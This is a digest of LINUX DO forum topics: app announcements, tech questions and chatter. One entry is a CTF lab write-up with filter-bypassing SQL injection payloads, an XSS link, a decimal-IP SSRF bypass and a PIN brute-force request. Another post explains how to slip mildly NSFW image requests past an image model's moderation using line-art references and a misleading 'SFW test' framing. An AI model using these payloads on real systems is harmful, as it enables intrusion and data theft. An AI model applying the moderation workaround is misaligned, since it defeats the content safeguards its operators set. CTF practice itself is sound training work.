每次进入站点都有个403么

8 posts - 8 participants

Read full topic

via LINUX DO - 最新话题 (author: qqq_qqq)

Invalid media: image

Afterglow | 极简的开源个人打卡/习惯养成 APP，热力图，WebDAV备份。新的一年来记录一些习惯吧！

Afterglow | 余火

这首歌关于一个庆祝，庆祝什么呢，庆祝我们的遗憾，此时此刻我们是被我们过往所有的经历堆叠而成的，包括艰难的时刻，所以让我们点起火把。

———— 《当我们点起火把》 DOUDOU

开源地址
github.com

GitHub - heerheer/afterglow: Waiting for the settling, the lingering, and the...

Waiting for the settling, the lingering, and the fading, until it is a regret no more. | 静候一场沉淀、驻足、与弥散，直至遗憾，皆成释然。

同时感谢：谷歌大善人和他的AI Studio，Gemini-3-Flash以及Antigravity

UI速览

你也可以前往CF部署的web版本体验：https://afterglow.realme.top/

功能

● 目标打卡，同时可以设置一个主目标，在首页主要区域显示。
● 随时补卡，无需任何前置条件
● 心情记录，记录下每一次打卡时的小感触
● 支持英语/中文切换
● 热力图（可选），查看到目前为止的数天内打卡频率
● 一言（可选），基于API的每日一言（zh/en下API不同）
● webdav备份，用于备份、恢复数据。

使用

Afterglow使用React编写，且无后端服务，是一个「纯前端」打卡APP。可以选择以下方式使用：

● 可以前往* Release页面下载随更新后编译的安卓apk文件
● 或者使用某个小老鼠在Cloudflare部署的网站：https://afterglow.realme.top/

数据

目前所有的数据使用本地的IndexedDB，可以通过webdav进行备份/恢复。
后续会尝试支持Supabase/Cloudflare部署API+DB

WebDAV备份

数据很重要（嗯

所以为了有效保持自己的小习惯能被很好的记录，可以使用webdav进行备份。

个人使用坚果云（免费）来作为webdav备份（https://dav.jianguoyun.com/dav/），因为可能遇到的CORS问题，也支持自建一个CORS代理来绕过可能出现的请求失败问题。

具体而言，可以使用我在deno部署的项目：https://cors-proxy.heerheer.deno.net/?url=，也可以采用其他的开源自部署项目，我部署的版本代码放在文末~

未来计划

● peer review (什么赛博监视)
● 自部署服务端与数据库支持
● 将数据生成分享图/时段总结

附录
CORS-Proxy Deno (click for more details)
4 posts - 2 participants

Read full topic

via LINUX DO - 最新话题 (author: 困困小老鼠)

Invalid media:
image
image
image

佬们，遇到人品堪忧的“伸手党”，你们还会让他白嫖吗？

刚才刷到这个帖子，突然想到一个挺纠结的问题。

公益站黑名单小玩具 搞七捻三

目前已经实现黑名单内用户禁止登录功能 因为没有服务器,所以黑名单目前维护在git上.只会存用户的LinuxID. 省流版实现思路: 加中间层,一层不行再加一层 实现思路: 目前问题:没办法直接对黑名单用户进行封禁,因为newapi封禁用户使用的是数据库id,中间层获取不到数据库id.如果能有一个直接通过linuxdoid封禁的方法就很完美了.

大家应该都见过那种极少数的“奇葩”用户：白嫖得理直气壮，有点不合心意就对开发者/贡献者开喷，口吐脏话，搞得人家都开始自我怀疑，觉得做贡献没意义了。

虽然这些人可能还没直接招惹到你头上，但想到要把自己的资源给这种人分享，心里总觉得有点膈应。佬们平时怎么看这种事？是觉得“多一事不如少一事，没惹我就行”，还是会直接拒之门外，不惯着这种风气？

9 posts - 8 participants

Read full topic

via LINUX DO - 最新话题 (author: seefs)

Elysiver CTF WP

依旧是像往常逛社区玩，突然看到网络安全的标签页下居然发起了 CTF 挑战，自己作为一名 Web 手肯定也是来凑凑热闹，就当做着玩吧 😄

flag1

提示 robots.txt

分别下载下来，README 中找到

This legacy readme was accidentally left in a backup. Inside you might find something useful.

flag1{1VSoLBnCpHd8wFTAvZazJYxKijtruWRX}

# End of file

flag2

在 config 文件中找到 flag2 和一些提示

# Sample configuration file for local development
# NOTE: Do not commit secrets to version control!

# test credentials
username=user1
password=test123

# VIP customer order tracking
vip_order_id=1337

# A hint for developers: sometimes our secrets end up in the wrong place...

# Flag for stage 2
flag2{sX79mrbY0fpZ4qV2CAIgzR8uPFJWtMjQ}

flag3

这个账号估计是用于登录的

在查看我的订单里有 id，我们正好试试 vip_order_id=1337

flag3{w9fNFgmEc7M3HA14GUVZYjC8avR5q2Ps}

flag4

提示管理员在系统查了点啥，我们去搜索一下，感觉这里会考查 SQL 注入，果然出现报错了

fuzz 一下看看过滤哪些字符或关键字

union
select
空格

但是没有区分大小写，简单绕过一下，%0a 绕过空格，payload：

%27%0aand%0a1=1--

后面测试发现该数据块不支持 database()函数，从报错特征 SQL Error: no such function: DATABASE 判别出这是 SQLite 数据库

%27%0aUnion%0aSelect%0a1,2,sqlite_version()--

果不其然，查表名和字段

%27%0aUnion%0aSelect%0a1,2,sql%0afrom%0asqlite_master--

%27%0aUnion%0aSelect%0a1,2,(Select%0agroup_concat(username,password)%0afrom%0ausers)--

找到 admin 密码 adminpass，在 email 里找到 flag4

flag4{Ybl9qy6HGwkQ73ZC5OcXWeiE8hgf2JAU}

flag5

登录 admin 面板，找到 flag5

flag5{r6tPnxEz37q0mTKCVwvcFOR51p9oBQey}

flag6

提示恶意脚本，应该是通过 xss 去攻击，结合前面报告给管理员，这里应该是会触发一个自动化脚本

<a href="javascript:alert(document.cookie)">test</a>

有点懵，可能是检测到 xss 的关键字就可以了，本身 cookie 是 role = admin

flag6{AheOVv6kXJIGqlQYEWBruwLDUoR2sfx4}

flag7

提示 /proxy?url=http://127.0.0.1:5000/internal/status

提示本地被阻止，这里应该考查的是 SSRF 的关键字绕过，使用 127.0.0.1 的十进制：2130706433

GET /proxy?url=http://2130706433:5000/internal/status HTTP/1.1

flag7{B3hJIaA24Kmz1OXVNbZkuEjR9ywGsrLi} Next: check /vault for the next
challenge, then try /internal/download?name= to read server files (hint:
flag9.txt)

flag8

也就 4 位数，用 Yakit 跑一下

POST /proxy?url=http://2130706433:5000/vault HTTP/1.1
Host: 23.95.91.162:35000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Referer: http://23.95.91.162:35000/proxy?url=http://2130706433:5000/vault
Cookie: role=admin; session=eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImFkbWluIn0.aVeWtw.X-VJTfz-GJRjmZXYgyAKn0n151k
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Origin: http://23.95.91.162:35000
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Content-Length: 8

pin={{int(0-9999|4)}}

发现405 METHOD NOT ALLOWED，那估计代理只能GET方法，那我们直接访问/vault路由呗

POST /vault HTTP/1.1
Host: 23.95.91.162:35000
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: role=admin; session=eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImFkbWluIn0.aVeWtw.X-VJTfz-GJRjmZXYgyAKn0n151k
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Referer: http://23.95.91.162:35000/vault
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Origin: http://23.95.91.162:35000
Content-Length: 8

pin={{int(0-9999|4)}}

通过查看响应长度来辨别是否成功

flag8{Kp4mXwN8vQrT2YsLjH6oBcEfUgA1iZ3d}

flag9

根据前面提示

flag9{BhXQ9zUGLaS8sVrCkYed7jp15oRftWNK}

完成！

2 posts - 2 participants

Read full topic

via LINUX DO - 最新话题 (author: Qu43ter)

Invalid media:
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image

【莹の福利】赌鬼日常

咔咔爆64倍，已自喻赌圣，打开日榜却堪堪挤进前五
我要衍派！！

1 post - 1 participant

Read full topic

via LINUX DO - 最新话题 (author: 罗永号)

Invalid media: image

gemini网页的nano banana是否不可用？

之前可以把一些英文的插图可以完美生成对应的中文插图，现在能力不行了，文字翻译不全，中文字体有问题等。还有其他什么方法吗？

6 posts - 4 participants

Read full topic

via LINUX DO - 最新话题 (author: hahaoo)

佬友们，请教一个claude code路由的问题，解决方案50LDC双手奉上

有没有那种claude code代理的东西

我现在有一台VPS 我本地使用claude code的网址填写VPS的地址进行claude code的访问

VPS根据请求去以及去路由到不同的公益站点，最好能够负载平衡啥的

但是由于一些公益站只支持claude code进行访问

所以VPS也必须以claude code的请求头形式进行访问

所以newAPi不行，有没有能满足这样需求的仓库呀

解决方案可以50LDC报酬，比较穷捏:distorted_face:

3 posts - 3 participants

Read full topic

via LINUX DO - 最新话题 (author: long)

ChatGPT的PDF工具最近小问题很多

不知道是5.2训练的问题还是OpenAI官方改了PDF工具，目前ChatGPT里交互文件的问题比前一个月大多了，动不动就说打不开PDF，或者检索的时候出现问题。两个例子：

1.之前在GPT5时代的思考模型可以清晰看到的PDF，现在给我说找不到当时发现的内容

说明（我这次检索的一个小问题）
我原本想把你2022-04xxxxPDF里“xxxx"等具体行再精确引I用出来，但检索工具在再次查询该PDF时出现了报错；不过你的总结文档本身已经保留了同一批“客观证据"的要点（包括xxxx等），所以不影响整体归纳。

2.前几天我叫他帮我看看有个书面文档PDF有没有错别字或者明显的失误的地方，5.2找出来不少看错的地方，比如一个词被分页分开在下一页，他说我漏字了，比如他说我公式渲染错误，诸如此类的的问题七八个，我自己本地任何打开PDF的工具都没有他说的错误，只有一个引用打了两个句号是他找对了我确实手误多打了个句号。其他的全是它的PDF查看器出问题导致的，之前没这么严重的问题，可能就是换到5.2才出现的

1 post - 1 participant

Read full topic

via LINUX DO - 最新话题 (author: JasonWenTF)

除了登录天数，3级的条件这么快就满了，我是不是太闲了。。。

注册才21天啊，我是不是要反省一下，努力恰饭。。。

7 posts - 7 participants

Read full topic

via LINUX DO - 最新话题 (author: gainaxian)

Invalid media: image

为啥我的cherry studio生出来的图不显示

点击编辑按钮

!image [<sup>1</sup>](http://my.domain/images/1767352881800_mci33kl.jpg)

图片链接在浏览器都能正常访问，但是就是不加载。。。。。

用的这位佬 https://linux.do/t/topic/1261795 二开的反代。

2 posts - 2 participants

Read full topic

via LINUX DO - 最新话题 (author: www-data)

Invalid media: image

openwrt上用sing-box替换了openclash

一直在用小米R3G的路由器，17年买的，25年4月开始刷了OPENWRT，版本是ImmortalWrt 24.10.2（中间有升级过），原来用的梯子是openclash，一直跟着网上的一些大神做优化，不过一直不够理想，原因可能是因为我比较菜，或者机子确实老了；路由器上主要装了2个应用：openclash/openlist；另外还用了CF的零信任通道，便于出差在外的时候可以下载或者看看家里的路由器状态；
上周实在受不了openclash,主页已经没法控制梯子的开关了，投影上的小苹果一直龟速；查了一下，发现Homeproxy有sing-box内核，出差回来立马换了，发现切换以后小苹果现在秒切（老婆终于不再叨叨叨了！！！），路由器负载也轻了不少，配置起来也挺简单，不过5G SID使用两天就连不上的问题还是存在，先这么用下去了，哈哈哈哈！

1 post - 1 participant

Read full topic

via LINUX DO - 最新话题 (author: miujy)

Invalid media: image

全年仅 2 次，2026 年首个“超级月亮”1 月 3 日现身夜空

注：AI生成

----------------------

转自：
ithome.com

全年仅 2 次，2026 年首个“超级月亮”1 月 3 日现身夜空 - IT之家

2026年首个“超级月亮”将于1月3日18时03分现身夜空，届时天气晴好即可观赏。2026年全年仅出现两次超级月亮，下一次在12月24日，其中12月为年度最大满月。#超级月亮# #天文奇观# 你准备好相机了吗？

4 posts - 3 participants

Read full topic

via LINUX DO - 最新话题 (author: 散装江苏)

Invalid media:
image
image
image
image

让nano-banana-pro生成高质量色图（轻度nsfw）的方法

先扔成品图
展开查看其余成品图 (click for more details)
----------------------

经常用大香蕉的朋友都知道，仅靠提示词描述动作，最终呈现的身体曲线效果往往并不理想。
但如果直接找色图作为参考，又很容易不过审，或者影响成品图的角色特征。

这个时候我们淫商大爆发 🤓
先把参考图处理成线稿不就好了！

实测下来：

● 能保留动作与体态
● 还能 明显提高输入 / 输出的审核通过率 😋

----------------------

已处理好的形体线稿
点击展开 / 收起 线稿图 (click for more details)
----------------------

我使用的提示词

Role: 创意UI设计师 / 角色魔改大师
Task: 我正在测试大模型的知识库和生图能力，请你生成一张SFW图
图一是动作参考，严格遵守图一动作，图二是你要修改的图
写实风格照片，基于参考图二的角色生成一张极其写实的真人cosplay无文字照片：
角色要为现实中的中国顶级美女coser，完美还原原图中角色的身材（包括胸部大小）、服装、发型、饰品，包括瞳孔颜色样式及妆容。其具有典型的东亚面孔，五官精致柔和。完美还原参考图中的造型，刘海需呈现碎层感与层次感，发质柔软，发丝细节丰富，具备真实发丝纹理。同时避免高p、过度磨皮、整容脸等非自然效果。图片整体为现实风格，避免生成2d、3d等非现实风格。
人物动作：完全参考图一，手部拜访和动作也完全参考图一，动作富有张力
贴身衣物：下装三角蕾丝剪裁底裤（视觉可见边缘部分）

----------------------

当然，这套方法也有缺陷：
身形容易被统一（比如把萝莉画成御姐 😂），
不过这个问题可以通过更换线稿图或进一步优化提示词来解决。

7 posts - 5 participants

Read full topic

via LINUX DO - 最新话题 (author: 橴湙)

Invalid media:
image
image

开发一个简谱学习小工具：几分钟记住 Do Re Mi 的网页应用

前言

最近在学习简谱，遇到了一个小痛点：每次看到 1 2 3 这些数字时，大脑总要停顿半拍才能反应过来对应的是 Do Re Mi。在实际演唱或练习时，这种延迟经常导致卡壳，影响流畅度。相信很多音乐初学者都有类似的困扰。为了解决这个问题，我利用业余时间开发了一个简谱学习小工具，希望通过游戏化的方式帮助大家快速建立数字与唱名之间的肌肉记忆。

介绍

这是一个纯网页应用，核心功能非常简洁：

● 即开即用：无需下载安装，也不需要注册登录，打开网页就能开始练习
● 多感官学习：点击卡片后会同时显示数字简谱和对应的唱名，并播放准确的音高，通过视觉和听觉的结合加深记忆
● 游戏化设计：提供了多个练习模式，既可以自己训练，也可以当作音乐小游戏给孩子玩

使用场景

这个工具适合以下人群：

1. 正在学习简谱的音乐初学者
2. 需要提高视唱练耳能力的学生
3. 家里有正在学琴的小朋友的家长
4. 想快速掌握数字简谱体系的任何人

体验地址

项目地址：https://happy-numbered-notation.app/

完全免费使用，欢迎大家体验并提出宝贵意见！如果觉得有帮助，也欢迎分享给有需要的朋友。

编程体会

刚经历一次AI重写。

原来是厚重的 nextjs+tts api，这么点小功能要拖着1个多G的 node_modules。发布，编译都很麻烦还慢。

忍不了了，直接和 AI 讨论了下，连 AI 都建议新开坑从头写，反正又不是我写，直接开干。

几个小时后，变成了 no-build 模式，vuejs+模板、简单本地bun打包去缓存、装配、优化体积、预生成音频文件、无服务器直开。

干干净净，日后修改也非常方便。旧项目直接垃圾桶去干活。

其实 vibe 这么一个小项目也不需要太洁癖花几个小时重构的，但我做这个是为了以后做类似的小应用的时候，直接复用这个项目做 AI 的上下文，这就有用多了。

而且作为一个老架构师，还是着实惊讶这种架构推翻式重构现在竟然像儿戏一样，这在以前是不可思议的。

这个小工具源于一个真实的学习痛点，通过技术手段将枯燥的记忆训练变得更加有趣和高效。希望它能帮助更多人快速建立简谱与唱名之间的联系，让音乐学习更加轻松愉快。如果你也在学习简谱，或者有AI编程方面的问题，欢迎在评论区交流！

5 posts - 5 participants

Read full topic

via LINUX DO - 最新话题 (author: james)

【开源自荐】obsidian-smart-workflow 打造 Obsidian 智能工作流

开源地址：GitHub - ZyphrZero/obsidian-smart-workflow: AI tools & cross-platform terminal for Obsidian.

目前功能包含自动命名/终端/语音/翻译/写作
(元旦肝死我了 :distorted_face:)

前端使用的ts，后端是rust，websocket通信，性能优化非常好

Obsidian 插件 (TypeScript)
    │
    │ WebSocket
    ▼
Smart Workflow Server (Rust)
├── PTY 终端会话
├── 音频录制 & ASR
├── LLM 流式处理
└── 语言检测

配置方式对用户很友好，支持多密钥轮询，多供应商和模型管理

本地终端：

● 支持Windows/macOS/Linux跨平台终端

语音输入：

● 语音转录：说话直接转文字
● 同声转译：边说边翻译
● 语音润色：说完自动优化文本
● 支持实时流式转录

大概后面不会增加 Composer 功能（因为已经有了本地终端感觉没必要再做这类功能了）

● 写作部分的设计参考了 【开源自荐】YOLO——可能是目前最棒的 Obsidian AI 笔记插件？ 大佬的项目
● Voice参考了【开源】按住说话-WIN平台语音输入转文本小工具（qwen-asr-flash/doubao驱动，支持自定义润色） 佬友的设计

13 posts - 11 participants

Read full topic

via LINUX DO - 最新话题 (author: 长秋)

Invalid media:
image
image
image
image
image
image
image
image

为什么我无法查看ChatGPT的年度报告

我问ChatGPT得到了什么信息
导向了no_access

有类似的经历的佬友吗
4 posts - 3 participants

Read full topic

via LINUX DO - 最新话题 (author: geekmemz)

Invalid media:
image
image

关于馒头站的隐藏机制

这两天，全站FREE，我试着去下载比较大的种子。试了好几个，都是1t以上的，发现这个站似乎有个隐藏机制：就是锁上传。就是老种子，它会锁你的上传。导致明明有3-400个人做种，但是下载速度只有2-3M/S。我在其他PT站没碰到过类似的问题。

12 posts - 4 participants

Read full topic

via LINUX DO - 最新话题 (author: lqingsheng99)

关于Google或者IOS生态备用机应该如何选择？

最近在各种需求叠加下，感觉自己非常需要一台Google或者IOS生态的备用机。

1. 通过Google Pay或者Apple Pay实现海外会员订阅服务，本身有fiat24卡，但无法支付GPT，目前都是靠野卡支付。
2. 自用华为手机，许多应用不提供apk版本就无法安装，只能通过Google Play或IOS APP Store安装。
预算1000-1500？
京东上看了二手iPhone、Pixel6，现在感觉似乎直接买个IOS平板比较合适？除了当做上面两个问题的解决方案，也能充当个大屏娱乐设备。不至于只作为备用机低频使用。
iPad的话看了mini6、Air4。64GB也符合预算。

想请教下老友们：

1. 上面两个需求，iPad和iPhone应该都可以实现吧？（没用过IOS生态，不清楚单iPad能不能搞支付。）
2. 两个iPad更推荐哪个？
3. Google生态的备用机或者平板是否值得考虑？

1 post - 1 participant

Read full topic

via LINUX DO - 最新话题 (author: zk)

好无聊，P个图玩玩

5 posts - 5 participants

Read full topic

via LINUX DO - 最新话题 (author: 神墨)

Invalid media: image

吓我一跳，原来是环境的问题。

我以为我自己被ban了。吓死我了。
2 posts - 2 participants

Read full topic

via LINUX DO - 最新话题 (author: Stewart Minions)

Invalid media: image

ChatGPT Team 车位 * 4个

不抽奖，留下邮箱，取最前排4个，(刚开的，但不质保 🫣）之前都是白嫖佬友的 🤫

1 post - 1 participant

Read full topic

via LINUX DO - 最新话题 (author: zhamianyu)